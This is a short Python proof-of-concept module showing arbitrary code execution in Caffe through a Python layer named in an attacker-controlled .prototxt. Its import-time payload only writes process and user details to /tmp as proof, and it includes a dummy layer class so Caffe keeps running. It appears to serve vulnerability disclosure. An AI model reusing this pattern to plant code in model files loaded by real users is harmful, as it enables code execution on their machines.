"""
PoC: Caffe PythonLayer Arbitrary Code Execution
================================================
This module is imported by Caffe when a .prototxt specifies a Python layer
with module="evil_layer". The top-level code executes immediately upon import.

Vulnerability: layer_factory.cpp:295
  bp::import(param.python_param().module().c_str())

This calls Python's import mechanism with an attacker-controlled module name
from the .prototxt file. No sanitization, no allowlist, no sandboxing.
"""

import os
import sys

# PoC: write proof of execution to /tmp
proof_file = "/tmp/caffe_rce_proof.txt"
with open(proof_file, "w") as f:
    f.write(f"Caffe PythonLayer RCE triggered!\n")
    f.write(f"PID: {os.getpid()}\n")
    f.write(f"UID: {os.getuid()}\n")
    f.write(f"CWD: {os.getcwd()}\n")
    f.write(f"Python: {sys.executable}\n")
    f.write(f"User: {os.environ.get('USER', 'unknown')}\n")

print(f"[PoC] Code executed! Proof written to {proof_file}")

# For the PoC we also need to provide a valid PythonLayer class,
# otherwise Caffe crashes after import (but code already executed).
# In a real attack, the attacker gets RCE from the import alone.

import caffe

class ExploitLayer(caffe.Layer):
    """Dummy layer to satisfy Caffe's PythonLayer requirements after import."""
    def setup(self, bottom, top):
        top[0].reshape(1)
    def reshape(self, bottom, top):
        top[0].reshape(1)
    def forward(self, bottom, top):
        top[0].data[...] = 0
    def backward(self, top, propagate_down, bottom):
        pass